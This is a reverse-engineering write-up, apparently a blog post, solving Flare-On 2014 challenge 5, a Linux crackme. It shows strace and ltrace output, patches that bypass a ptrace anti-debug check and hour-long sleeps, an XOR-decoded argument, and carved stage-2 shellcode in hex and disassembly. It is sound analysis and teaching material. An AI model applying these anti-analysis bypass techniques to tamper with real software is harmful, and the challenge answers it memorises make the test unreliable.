Number of program headers: 6
Size of section headers: 64 (bytes)
Number of section headers: 31
Section header string table index: 30
  • Here is silly floss strings which might be worth to look,
  • It is not that much interesting but there are some strings which looks like cpp code ad some linux commands maybe used in this binary.
  • there is some interesting strings which is,
Terminal window
/index.html Nosebleed # Heartbleed eh? :) ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c info[20]->d_un.d_val == 7
Terminal window
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ floss e7bc5d2c0cf4480348f5504196561297 --format sc64 | less > floss_strings.txt
INFO: floss: extracting static strings
finding decoding function features: 100%|β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ| 1/1 [00:00<00:00, 453.63 functions/s, skipped 0 library functions]
INFO: floss.stackstrings: extracting stackstrings from 1 functions
extracting stackstrings: 100%|β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ| 1/1 [00:00<00:00, 39.67 functions/s]
INFO: floss.tightstrings: extracting tightstrings from 0 functions...
extracting tightstrings: 0 functions [00:00, ? functions/s]
INFO: floss.string_decoder: decoding strings
decoding strings: 100%|β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ| 1/1 [00:00<00:00, 168.85 functions/s]
INFO: floss: finished execution after 10.94 seconds
INFO: floss: rendering results
FLARE FLOSS RESULTS (version v3.1.1-0-g3cd3ee6)
+------------------------+------------------------------------------------------------------------------------+
| file path | e7bc5d2c0cf4480348f5504196561297 |
| identified language | unknown |
| extracted strings | |
| static strings | 6094 (53770 characters) |
| language strings | 0 ( 0 characters) |
| stack strings | 0 |
| tight strings | 0 |
| decoded strings | 0 |
+------------------------+------------------------------------------------------------------------------------+
─────────────────────────────
FLOSS STATIC STRINGS (6094)
─────────────────────────────
+------------------------------------+
| FLOSS STATIC STRINGS: ASCII (6094) |
+------------------------------------+
H9\$(t
.
.
.
Logrhythm
Rails
userdel
install
which
more
Juniper
touch
wait
unexpand
7zip
0cool
apropos
IMAP
jobs
VeriSign
==:)
BIOS
Heartbleed
.
.
.
comm
rsync
tail
timeout
BBBBBBBBB@BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB>BBB?456789:;<=BBBABBB
BBBBBB
!"#$%&'()*+,-./0123BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBFATAL: kernel too old
/dev/urandom
FATAL: cannot determine kernel version
/dev/full
/dev/null
cannot set %fs base address for thread-local storage
unexpected reloc type in static binary
cxa_atexit.c
l != ((void *)0)
__new_exitfn
LIBC_FATAL_STDERR_
/dev/tty
======= Backtrace: =========
======= Memory map: ========
/proc/self/maps
<heap nr="%d">
<sizes>
</heap>
malloc.c
((p)->size & 0x2)
(p->prev_size == offset)
<unknown>
malloc: top chunk is corrupt
corrupted double-linked list
TOP_PAD_
PERTURB_
MMAP_MAX_
ARENA_MAX
ARENA_TEST
TRIM_THRESHOLD_
MMAP_THRESHOLD_
free(): invalid pointer
invalid fastbin entry (free)
free(): invalid size
heap->ar_ptr == av
arena.c
p->size == (0|0x1)
locked
malloc(): memory corruption
(bck->bk->size & 0x4) == 0
(fwd->size & 0x4) == 0
bit != 0
correction >= 0
realloc(): invalid old size
realloc(): invalid next size
!((oldp)->size & 0x2)
ncopies >= 3
realloc(): invalid pointer
hooks.c
ms->av[2*i+3] == 0
nclears >= 3
Arena %d:
system bytes = %10u
in use bytes = %10u
Total (incl. mmap):
max mmap regions = %10u
max mmap bytes = %10lu
<malloc version="1">
_int_memalign
_int_malloc
sYSMALLOc
munmap_chunk
_int_free
heap_trim
mremap_chunk
_int_realloc
__libc_malloc
__libc_realloc
__libc_valloc
__libc_pvalloc
__libc_calloc
.
.
.
<total type="fast" count="%zu" size="%zu"/>
<total type="rest" count="%zu" size="%zu"/>
<system type="current" size="%zu"/>
<system type="max" size="%zu"/>
<aspace type="total" size="%zu"/>
<aspace type="mprotect" size="%zu"/>
</malloc>
malloc_consolidate
__malloc_set_state
__libc_memalign
../sysdeps/x86_64/multiarch/../cacheinfo.c
! "cannot happen"
offset == 2
.
.
.
.
.
.
xdg-open
GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
.shstrtab
.note.ABI-tag
.note.gnu.build-id
.rela.plt
.init
.text
__libc_freeres_fn
__libc_thread_freeres_fn
.fini
.rodata
__libc_atexit
__libc_subfreeres
__libc_thread_subfreeres
.eh_frame
.gcc_except_table
.tdata
.tbss
.init_array
.fini_array
.ctors
.dtors
.jcr
.data.rel.ro
.got
.got.plt
.data
.bss
__libc_freeres_ptrs
.comment
+------------------------------------+
| FLOSS STATIC STRINGS: UTF-16LE (0) |
+------------------------------------+
─────────────────────────
FLOSS STACK STRINGS (0)
─────────────────────────
─────────────────────────
FLOSS TIGHT STRINGS (0)
─────────────────────────
───────────────────────────
FLOSS DECODED STRINGS (0)
───────────────────────────
  • Now we we jump into some disassembly stuff

Basic Dynamic Analysis#

  • ltrace traces library function calls, like
    • printf
    • strcmp
    • malloc
    • fopen
    • puts
    • exit etc..
Terminal window
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ ltrace ./e7bc5d2c0cf4480348f5504196561297
Couldn't find .dynsym or .dynstr in "/proc/2152/exe"
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ no
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ ltrace ./e7bc5d2c0cf4480348f5504196561297 arg1
Couldn't find .dynsym or .dynstr in "/proc/2154/exe"
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ na
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ ltrace ./e7bc5d2c0cf4480348f5504196561297 arg1 agr2
Couldn't find .dynsym or .dynstr in "/proc/2156/exe"
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ bad
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ ltrace ./e7bc5d2c0cf4480348f5504196561297 arg1 agr2 arg3
Couldn't find .dynsym or .dynstr in "/proc/2160/exe"
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ stahp
ltrace ./e7bc5d2c0cf4480348f5504196561297 arg1 agr2 arg3 agr4
Couldn't find .dynsym or .dynstr in "/proc/2162/exe"
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ stahp
  • strace shows how a program talks to the Linux kernel.
  • The binary initializes normally, performs minimal environment setup, does not receive required arguments, immediately fails its internal validation logic, prints "no", and exits with a fixed failure code.
  • No user-controlled input is processed at all meaning the program expects specific arguments, and if they are not present or not correct, it terminates instantly.
Terminal window
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ strace ./e7bc5d2c0cf4480348f5504196561297
execve("./e7bc5d2c0cf4480348f5504196561297", ["./e7bc5d2c0cf4480348f55041965612"...], 0x7ffd6d797520 /* 49 vars */) = 0
uname({sysname="Linux", nodename="remnux", ...}) = 0
brk(NULL) = 0x3fde1000
brk(0x3fde21c0) = 0x3fde21c0
arch_prctl(ARCH_SET_FS, 0x3fde1880) = 0
brk(0x3fe031c0) = 0x3fe031c0
brk(0x3fe04000) = 0x3fe04000
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f74a9d75000
write(1, "no\n", 3no
) = 3
exit_group(52) = ?
+++ exited with 52 +++
Terminal window
# Running Strace with 2 arguments
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ strace ./e7bc5d2c0cf4480348f5504196561297 arg1 arg2
execve("./e7bc5d2c0cf4480348f5504196561297", ["./e7bc5d2c0cf4480348f55041965612"..., "arg1", "arg2"], 0x7ffdb7a46ad0 /* 49 vars */) = 0
uname({sysname="Linux", nodename="remnux", ...}) = 0
brk(NULL) = 0x7018000
brk(0x70191c0) = 0x70191c0
arch_prctl(ARCH_SET_FS, 0x7018880) = 0
brk(0x703a1c0) = 0x703a1c0
brk(0x703b000) = 0x703b000
ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted)
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fb585c32000
write(1, "Program received signal SIGSEGV,"..., 52Program received signal SIGSEGV, Segmentation fault
) = 52
exit_group(9001) = ?
+++ exited with 41 +++
Terminal window
if (ptrac(PTRACE_TRACEME, 0, 1, 0) == -1) BeingDebugged = true;

Advance Static Analysis#

  • Here is the reference of sys_ptrace in sub_4742B0 function, so rename with mw_syscall_anti_debug_ptrace
  • TheΒ ptraceΒ system call (sys_ptrace) in Linux is used by a tracer process to monitor and control a trace process, generally returningΒ 0Β on success orΒ -1Β on error.

Pasted image 20260201142232.png

  • this mw_anti_debug_ptrace is referenced in another function which is checking the return value and if it is -1 which means failed then it will crash and return Segmentation Fault so we have to patch that by replacing 74 (jz) conditional jump with EB (jmp) unconditional jump.
  • I used this as reference,

Pasted image 20260201144857.png

if ( (mw_anti_debug_ptrace(0, 0, 1u, 0) & 0x8000000000000000LL) != 0LL )
{
sub_45EBE0((__int64)"Program received signal SIGSEGV, Segmentation fault");
sub_45E790(9001);
}

Patch 1: ptrace patching#

  • So to patch that
  • I need to first get opcodes to identify the hex sequence so to do that i used ida’s patch feature and get the sequence of opcodes,
74 14 BF 50 3B 4F 00 E8 B8 F9 03 00 BF 29 23 00

Pasted image 20260201150209.png

  • I can use HxD, to change 74 to EB,

Pasted image 20260201150931.png

  • After that, i open it in ida and as you can see that it is taking unconditional jump with any condition so the patch worked perfectly.

Pasted image 20260201151221.png

  • Now this command no longer given seg fault,
Terminal window
β”Œβ”€β”€(b14ckyγ‰ΏDESKTOP-VRSQRAJ)-[~/]
└─$ strace -i ./e7bc5d2c0cf4480348f5504196561297.patched arg1 arg2
[00007add30ede557] execve("./e7bc5d2c0cf4480348f5504196561297.patched", ["./e7bc5d2c0cf4480348f55041965612"..., "arg1", "arg2"], 0x7fff3abb55b8 /* 35 vars */) = 0
[00000000004a9297] uname({sysname="Linux", nodename="DESKTOP-VRSQRAJ", ...}) = 0
[00000000004aa78a] brk(NULL) = 0x27391000
[00000000004aa78a] brk(0x273921c0) = 0x273921c0
[000000000045e3f5] arch_prctl(ARCH_SET_FS, 0x27391880) = 0
[00000000004aa78a] brk(0x273b31c0) = 0x273b31c0
[00000000004aa78a] brk(0x273b4000) = 0x273b4000
[000000000047431b] ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted)
[0000000000473e44] fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}) = 0
[000000000047509a] mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x778d0840d000
[0000000000473f50] write(1, "bad\n", 4bad
) = 4
[0000000000473dd8] exit_group(420) = ?
[????????????????] +++ exited with 164 +++
  • Now lets analyze the sub_435E20 which has bad string so i renamed it as mw_bad_str and by doing some digging i can see that it is checking that argument length is 10 or not.

Pasted image 20260201152007.png

  • By analyzing further we understand that the string β€œbngcg`debd” is XOR’ed withΒ 0x56Β to obtain the value of the 1st argument.

Pasted image 20260201153736.png

  • By doing XOR i get this value 4815162342, which is exactly 10 digit long so i passed this as argument in patched program,

Pasted image 20260201152747.png

  • We can see a nanosleep at offsetΒ 0x473d50.
Terminal window
β”Œβ”€β”€(b14ckyγ‰ΏDESKTOP-VRSQRAJ)-[~/]
└─$ strace -i ./e7bc5d2c0cf4480348f5504196561297.patched 4815162342 arg2
[00007f2fa72de557] execve("./e7bc5d2c0cf4480348f5504196561297.patched", ["./e7bc5d2c0cf4480348f55041965612"..., "4815162342", "arg2"], 0x7ffcc1afea98 /* 35 vars */) = 0
[00000000004a9297] uname({sysname="Linux", nodename="DESKTOP-VRSQRAJ", ...}) = 0
[00000000004aa78a] brk(NULL) = 0x2c36a000
[00000000004aa78a] brk(0x2c36b1c0) = 0x2c36b1c0
[000000000045e3f5] arch_prctl(ARCH_SET_FS, 0x2c36a880) = 0
[00000000004aa78a] brk(0x2c38c1c0) = 0x2c38c1c0
[00000000004aa78a] brk(0x2c38d000) = 0x2c38d000
[000000000047431b] ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted)
[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[0000000000473d50] nanosleep({tv_sec=3600, tv_nsec=0}, ^C{tv_sec=3581, tv_nsec=387430080}) = ? ERESTART_RESTARTBLOCK (Interrupted by signal)
  • nanosleep(3600 seconds); which is 1 hour,
  • it is used for
    • Waste analyst time
    • Beat sandbox timeouts
    • Make sample look β€œhung”
  • At this 0x473d50 offset it it doing syscall to nanosleep, and the function is sub_473D40.
  • InΒ IDA Pro, we confirmΒ 0x63Β (35) is moved toΒ EAXΒ andΒ syscallΒ is then called.
  • Still referring to theΒ syscall table, we confirm it corresponds to nanosleep.
  • https://man7.org/linux/man-pages/man2/nanosleep.2.html

Pasted image 20260201153733.png

Patch 2: nanosleep patch#

  • We can see that nanosleep is called 2 times in the function.
  • Let’s patch the code by replacingΒ syscallΒ withΒ NOP’s, as follows:
    • So same as previously we grep the hex stream which is this,
B8 23 00 00 00 0F 05

Pasted image 20260201153735.png

  • Using HxD we will patch that,

Pasted image 20260201155658.png

  • After that i checked the diff both and here is what i got,
Terminal window
< e7bc5d2c0cf4480348f5504196561297.patched2: file format elf64-x86-64
---
> e7bc5d2c0cf4480348f5504196561297.patched2.bak: file format elf64-x86-64
122582,122588c122582,122583
< 473d49: 90 nop
< 473d4a: 90 nop
< 473d4b: 90 nop
< 473d4c: 90 nop
< 473d4d: 90 nop
< 473d4e: 90 nop
< 473d4f: 90 nop
---
> 473d49: b8 23 00 00 00 mov eax,0x23
> 473d4e: 0f 05 syscall
122595,122601c122590,122591
< 473d6a: 90 nop
< 473d6b: 90 nop
< 473d6c: 90 nop
< 473d6d: 90 nop
< 473d6e: 90 nop
< 473d6f: 90 nop
< 473d70: 90 nop
---
> 473d6a: b8 23 00 00 00 mov eax,0x23
> 473d6f: 0f 05 syscall
  • Now we know that this first argument but what about second argument,
  • So i dig little and found that some bytes are being encoded using base64.
  • I got into the habit of copying the base64 bytes and setting up breakpoints every once in a while to get back to a checkpoint after each crash.
  • sub_401164 function decodes the bytes from base64.

Pasted image 20260202001050.png

Pasted image 20260202001508.png

  • After some analysis i found that those bytes are shellcode,
  • This is the flow of shellcode function,
Terminal window
entry ->
sub_452079 ->
sub_44D525 ->
sub_44BE43 ->
sub_44B942 (Decompile_problem) -> mw_base64_decode
-> mw_shellcode_sus

Advance Dynamic Analysis#

  • I used edb tool for dynamic debugging for elf,
  • So i go to that 0x44bb2b location and i found that it is calling, as discussed previously,
00000000:0044bb2b ff d2 call rdx
  • So we can dump it by doing follow in dump of rdx and we get the shellcode,
  • I carve the shellcode and remove some unnecessary bytes,

Pasted image 20260201234708.png

  • I step into the function and see where shellcode ends and it is ending on this last operation, so up till this i kept and remove remaining bytes,
0x00007ffd6741cc8c: 80 38 D7 cmp byte ptr [eax], 0xd7

Stage 2 Shellcode Analysis#

Initial Triage#

  • File Type: shellcode.bin: data
  • Size: 607 bytes
  • SHA256: 85b70829d62ab78429754247036a540afdb3548608cef9bbde53bef1f6ccd8c5

Basic Static Analysis#

  • I checked VT for this hash, but it gives no results,
  • So i upload it and check whether it gives something, but nothing

Pasted image 20260201233759.png

Pasted image 20260201233920.png

Advance Static Analysis#

  • This is 2nd stage shellcode carved from 1st stage elf,
48 89 f8 e8 00 00 00 00 48 8b 1c 24 48 83 c3 0a eb 0a 48 31 d2 48 31 c0 b0 3c 0f 05 c0 08 f2 80 38 1b 74 02 ff e3 48 83 c0 01 80 30 40 80 30 f2 80 30 b3 80 38 30 74 02 ff e3 48 83 c0 01 80 30 71 80 38 1f 74 02 ff e3 48 83 c0 01 80 00 a3 c0 08 bc 80 38 b0 74 02 ff e3 48 83 c0 01 80 28 79 80 38 e8 74 02 ff e3 48 83 c0 01 c0 08 82 80 28 28 80 38 f6 74 02 ff e3 48 83 c0 01 80 28 b0 c0 08 4d 80 00 2c 80 38 1f 74 02 ff e3 48 83 c0 01 80 00 54 c0 00 99 80 30 b8 c0 08 2a 80 00 3f 80 38 af 74 02 ff e3 48 83 c0 01 c0 08 ba 80 38 5d 74 02 ff e3 48 83 c0 01 80 30 ed c0 08 6c 80 00 30 80 38 29 74 02 ff e3 48 83 c0 01 80 28 bf 80 38 b5 74 02 ff e3 48 83 c0 01 c0 00 bc 80 00 8c c0 00 7b 80 28 31 80 00 63 80 38 a5 74 02 ff e3 48 83 c0 01 c0 00 20 c0 00 16 80 30 ae c0 00 98 80 38 f3 74 02 ff e3 48 83 c0 01 c0 08 6e 80 00 d2 80 38 a6 74 02 ff e3 48 83 c0 01 80 00 34 80 38 62 74 02 ff e3 48 83 c0 01 80 00 cd 80 28 10 80 00 62 80 30 b2 80 38 32 74 02 ff e3 48 83 c0 01 80 30 b7 80 30 73 c0 08 07 80 38 eb 74 02 ff e3 48 83 c0 01 80 00 34 80 28 61 c0 08 36 80 00 5b 80 28 4c 80 38 0b 74 02 ff e3 48 83 c0 01 80 00 5a 80 38 9a 74 02 ff e3 48 83 c0 01 c0 08 a2 80 38 99 74 02 ff e3 48 83 c0 01 80 30 7e 80 28 e7 80 38 2b 74 02 ff e3 48 83 c0 01 80 28 b8 80 30 86 80 00 4e c0 08 4a c0 00 57 80 38 af 74 02 ff e3 48 83 c0 01 c0 08 86 80 30 e8 c0 00 95 80 30 4a 80 30 ad 80 38 c3 74 02 ff e3 48 83 c0 01 c0 08 45 80 30 cc 80 00 1c 80 38 03 74 02 ff e3 48 83 c0 01 80 28 4a 80 38 e3 74 02 ff e3 48 83 c0 01 80 30 a5 c0 08 90 80 38 ca 74 02 ff e3 48 83 c0 01 c0 08 de c0 00 36 80 30 78 80 28 d8 80 38 3e 74 02 ff e3 48 83 c0 01 80 00 b5 80 28 ad c0 08 89 c0 00 a2 c0 00 11 80 38 d8 74 02 ff e3 48 83 c0 01 80 00 40 80 28 21 c0 08 c0 80 38 82 74 02 ff e3 48 83 c0 01 c0 00 e3 80 38 7b 74 02 ff e3 48 83 c0 01 80 28 78 c0 08 f6 80 38 d7
  • And this is actual disassembled assembly,
0x0000000000000000: 48 dec eax
0x0000000000000001: 89 F8 mov eax, edi
0x0000000000000003: E8 00 00 00 00 call 8
0x0000000000000008: 48 dec eax
0x0000000000000009: 8B 1C 24 mov ebx, dword ptr [esp]
0x000000000000000c: 48 dec eax
0x000000000000000d: 83 C3 0A add ebx, 0xa
0x0000000000000010: EB 0A jmp 0x1c
0x0000000000000012: 48 dec eax
0x0000000000000013: 31 D2 xor edx, edx
0x0000000000000015: 48 dec eax
0x0000000000000016: 31 C0 xor eax, eax
0x0000000000000018: B0 3C mov al, 0x3c
0x000000000000001a: 0F 05 syscall
0x000000000000001c: C0 08 F2 ror byte ptr [eax], 0xf2
0x000000000000001f: 80 38 1B cmp byte ptr [eax], 0x1b
0x0000000000000022: 74 02 je 0x26
0x0000000000000024: FF E3 jmp ebx
0x0000000000000026: 48 dec eax
0x0000000000000027: 83 C0 01 add eax, 1
0x000000000000002a: 80 30 40 xor byte ptr [eax], 0x40
0x000000000000002d: 80 30 F2 xor byte ptr [eax], 0xf2
0x0000000000000030: 80 30 B3 xor byte ptr [eax], 0xb3
0x0000000000000033: 80 38 30 cmp byte ptr [eax], 0x30
0x0000000000000036: 74 02 je 0x3a
0x0000000000000038: FF E3 jmp ebx
0x000000000000003a: 48 dec eax
0x000000000000003b: 83 C0 01 add eax, 1
0x000000000000003e: 80 30 71 xor byte ptr [eax], 0x71
0x0000000000000041: 80 38 1F cmp byte ptr [eax], 0x1f
0x0000000000000044: 74 02 je 0x48
0x0000000000000046: FF E3 jmp ebx
0x0000000000000048: 48 dec eax
0x0000000000000049: 83 C0 01 add eax, 1
0x000000000000004c: 80 00 A3 add byte ptr [eax], 0xa3
0x000000000000004f: C0 08 BC ror byte ptr [eax], 0xbc
0x0000000000000052: 80 38 B0 cmp byte ptr [eax], 0xb0
0x0000000000000055: 74 02 je 0x59
0x0000000000000057: FF E3 jmp ebx
0x0000000000000059: 48 dec eax
0x000000000000005a: 83 C0 01 add eax, 1
0x000000000000005d: 80 28 79 sub byte ptr [eax], 0x79
0x0000000000000060: 80 38 E8 cmp byte ptr [eax], 0xe8
0x0000000000000063: 74 02 je 0x67
0x0000000000000065: FF E3 jmp ebx
0x0000000000000067: 48 dec eax
0x0000000000000068: 83 C0 01 add eax, 1
0x000000000000006b: C0 08 82 ror byte ptr [eax], 0x82
0x000000000000006e: 80 28 28 sub byte ptr [eax], 0x28
0x0000000000000071: 80 38 F6 cmp byte ptr [eax], 0xf6
0x0000000000000074: 74 02 je 0x78
0x0000000000000076: FF E3 jmp ebx
0x0000000000000078: 48 dec eax
0x0000000000000079: 83 C0 01 add eax, 1
0x000000000000007c: 80 28 B0 sub byte ptr [eax], 0xb0
0x000000000000007f: C0 08 4D ror byte ptr [eax], 0x4d
0x0000000000000082: 80 00 2C add byte ptr [eax], 0x2c
0x0000000000000085: 80 38 1F cmp byte ptr [eax], 0x1f
0x0000000000000088: 74 02 je 0x8c
0x000000000000008a: FF E3 jmp ebx
0x000000000000008c: 48 dec eax
0x000000000000008d: 83 C0 01 add eax, 1
0x0000000000000090: 80 00 54 add byte ptr [eax], 0x54
0x0000000000000093: C0 00 99 rol byte ptr [eax], 0x99
0x0000000000000096: 80 30 B8 xor byte ptr [eax], 0xb8
0x0000000000000099: C0 08 2A ror byte ptr [eax], 0x2a
0x000000000000009c: 80 00 3F add byte ptr [eax], 0x3f
0x000000000000009f: 80 38 AF cmp byte ptr [eax], 0xaf
0x00000000000000a2: 74 02 je 0xa6
0x00000000000000a4: FF E3 jmp ebx
0x00000000000000a6: 48 dec eax
0x00000000000000a7: 83 C0 01 add eax, 1
0x00000000000000aa: C0 08 BA ror byte ptr [eax], 0xba
0x00000000000000ad: 80 38 5D cmp byte ptr [eax], 0x5d
0x00000000000000b0: 74 02 je 0xb4
0x00000000000000b2: FF E3 jmp ebx
0x00000000000000b4: 48 dec eax
0x00000000000000b5: 83 C0 01 add eax, 1
0x00000000000000b8: 80 30 ED xor byte ptr [eax], 0xed
0x00000000000000bb: C0 08 6C ror byte ptr [eax], 0x6c
0x00000000000000be: 80 00 30 add byte ptr [eax], 0x30
0x00000000000000c1: 80 38 29 cmp byte ptr [eax], 0x29
0x00000000000000c4: 74 02 je 0xc8
0x00000000000000c6: FF E3 jmp ebx
0x00000000000000c8: 48 dec eax
0x00000000000000c9: 83 C0 01 add eax, 1
0x00000000000000cc: 80 28 BF sub byte ptr [eax], 0xbf
0x00000000000000cf: 80 38 B5 cmp byte ptr [eax], 0xb5
0x00000000000000d2: 74 02 je 0xd6
0x00000000000000d4: FF E3 jmp ebx
0x00000000000000d6: 48 dec eax
0x00000000000000d7: 83 C0 01 add eax, 1
0x00000000000000da: C0 00 BC rol byte ptr [eax], 0xbc
0x00000000000000dd: 80 00 8C add byte ptr [eax], 0x8c
0x00000000000000e0: C0 00 7B rol byte ptr [eax], 0x7b
0x00000000000000e3: 80 28 31 sub byte ptr [eax], 0x31
0x00000000000000e6: 80 00 63 add byte ptr [eax], 0x63
0x00000000000000e9: 80 38 A5 cmp byte ptr [eax], 0xa5
0x00000000000000ec: 74 02 je 0xf0
0x00000000000000ee: FF E3 jmp ebx
0x00000000000000f0: 48 dec eax
0x00000000000000f1: 83 C0 01 add eax, 1
0x00000000000000f4: C0 00 20 rol byte ptr [eax], 0x20
0x00000000000000f7: C0 00 16 rol byte ptr [eax], 0x16
0x00000000000000fa: 80 30 AE xor byte ptr [eax], 0xae
0x00000000000000fd: C0 00 98 rol byte ptr [eax], 0x98
0x0000000000000100: 80 38 F3 cmp byte ptr [eax], 0xf3
0x0000000000000103: 74 02 je 0x107
0x0000000000000105: FF E3 jmp ebx
0x0000000000000107: 48 dec eax
0x0000000000000108: 83 C0 01 add eax, 1
0x000000000000010b: C0 08 6E ror byte ptr [eax], 0x6e
0x000000000000010e: 80 00 D2 add byte ptr [eax], 0xd2
0x0000000000000111: 80 38 A6 cmp byte ptr [eax], 0xa6
0x0000000000000114: 74 02 je 0x118
0x0000000000000116: FF E3 jmp ebx
0x0000000000000118: 48 dec eax
0x0000000000000119: 83 C0 01 add eax, 1
0x000000000000011c: 80 00 34 add byte ptr [eax], 0x34
0x000000000000011f: 80 38 62 cmp byte ptr [eax], 0x62
0x0000000000000122: 74 02 je 0x126
0x0000000000000124: FF E3 jmp ebx
0x0000000000000126: 48 dec eax
0x0000000000000127: 83 C0 01 add eax, 1
0x000000000000012a: 80 00 CD add byte ptr [eax], 0xcd
0x000000000000012d: 80 28 10 sub byte ptr [eax], 0x10
0x0000000000000130: 80 00 62 add byte ptr [eax], 0x62
0x0000000000000133: 80 30 B2 xor byte ptr [eax], 0xb2
0x0000000000000136: 80 38 32 cmp byte ptr [eax], 0x32
0x0000000000000139: 74 02 je 0x13d
0x000000000000013b: FF E3 jmp ebx
0x000000000000013d: 48 dec eax
0x000000000000013e: 83 C0 01 add eax, 1
0x0000000000000141: 80 30 B7 xor byte ptr [eax], 0xb7
0x0000000000000144: 80 30 73 xor byte ptr [eax], 0x73
0x0000000000000147: C0 08 07 ror byte ptr [eax], 7
0x000000000000014a: 80 38 EB cmp byte ptr [eax], 0xeb
0x000000000000014d: 74 02 je 0x151
0x000000000000014f: FF E3 jmp ebx
0x0000000000000151: 48 dec eax
0x0000000000000152: 83 C0 01 add eax, 1
0x0000000000000155: 80 00 34 add byte ptr [eax], 0x34
0x0000000000000158: 80 28 61 sub byte ptr [eax], 0x61
0x000000000000015b: C0 08 36 ror byte ptr [eax], 0x36
0x000000000000015e: 80 00 5B add byte ptr [eax], 0x5b
0x0000000000000161: 80 28 4C sub byte ptr [eax], 0x4c
0x0000000000000164: 80 38 0B cmp byte ptr [eax], 0xb
0x0000000000000167: 74 02 je 0x16b
0x0000000000000169: FF E3 jmp ebx
0x000000000000016b: 48 dec eax
0x000000000000016c: 83 C0 01 add eax, 1
0x000000000000016f: 80 00 5A add byte ptr [eax], 0x5a
0x0000000000000172: 80 38 9A cmp byte ptr [eax], 0x9a
0x0000000000000175: 74 02 je 0x179
0x0000000000000177: FF E3 jmp ebx
0x0000000000000179: 48 dec eax
0x000000000000017a: 83 C0 01 add eax, 1
0x000000000000017d: C0 08 A2 ror byte ptr [eax], 0xa2
0x0000000000000180: 80 38 99 cmp byte ptr [eax], 0x99
0x0000000000000183: 74 02 je 0x187
0x0000000000000185: FF E3 jmp ebx
0x0000000000000187: 48 dec eax
0x0000000000000188: 83 C0 01 add eax, 1
0x000000000000018b: 80 30 7E xor byte ptr [eax], 0x7e
0x000000000000018e: 80 28 E7 sub byte ptr [eax], 0xe7
0x0000000000000191: 80 38 2B cmp byte ptr [eax], 0x2b
0x0000000000000194: 74 02 je 0x198
0x0000000000000196: FF E3 jmp ebx
0x0000000000000198: 48 dec eax
0x0000000000000199: 83 C0 01 add eax, 1
0x000000000000019c: 80 28 B8 sub byte ptr [eax], 0xb8
0x000000000000019f: 80 30 86 xor byte ptr [eax], 0x86
0x00000000000001a2: 80 00 4E add byte ptr [eax], 0x4e
0x00000000000001a5: C0 08 4A ror byte ptr [eax], 0x4a
0x00000000000001a8: C0 00 57 rol byte ptr [eax], 0x57
0x00000000000001ab: 80 38 AF cmp byte ptr [eax], 0xaf
0x00000000000001ae: 74 02 je 0x1b2
0x00000000000001b0: FF E3 jmp ebx
0x00000000000001b2: 48 dec eax
0x00000000000001b3: 83 C0 01 add eax, 1
